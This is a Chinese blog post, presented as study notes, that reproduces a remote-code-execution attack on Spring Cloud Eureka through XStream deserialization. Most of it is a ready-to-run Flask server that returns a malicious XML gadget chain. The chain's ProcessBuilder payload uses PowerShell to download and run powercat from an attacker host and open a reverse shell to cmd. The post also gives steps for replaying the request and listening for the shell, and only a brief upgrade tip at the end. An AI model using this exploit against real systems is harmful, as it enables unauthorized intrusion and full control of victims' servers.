声明:
** 该公众号大部分文章来自作者学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者无关。**
一、使用工具
1.vps服务器
2.python 脚本
二、复现过程
1.访问网站服务器是否出网
2.访问 /act/refresh抓包修改post 多重放几次就可以反向代理
4.利用目标<command></command>标签中攻击载荷达成反弹shell
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['GET', 'POST'])
def catch_all(path):
xml = """<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
//攻击载荷,下边为windows反弹shell代码,分成三部分,
//1、执行的应用程序
//2、访问远程加载的程序
//3、执行程序
<command>
<string>powershell</string>
<string> IEX (New-Object System.Net.Webclient).DownloadString('http://0.0.0.0:8081/powercat/powercat.ps1'); </string>
<string>powercat -c 0.0.0.0 -p 9999 -e cmd</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>"""
return Response(xml, mimetype='application/xml')
if __name__ == "__main__":
//该文件是用于在payload中的地址,即为攻击机的ip,因为运行在本机上,直接写0.0.0.0即可,端口随意
app.run(host='0.0.0.0', port=8000)
5.使用 python 在自己控制的服务器上运行以上的脚本,并根据实际情况修改脚本中反弹 shell 的 ip 地址和 端口号,在修改完成就 启动脚本即可
6.监听反弹 shell 的端口
三、修复建议
- 将Spring Eureka的版本升级到安全的版本,例如,如果你使用的是Spring Cloud版本,可以升级到最新的修复版本(例如,如果是Hoxton.SR10,那么应该升级到Hoxton.SR11或更高)。
版权归原作者 伏一 所有, 如有侵权,请联系我们删除。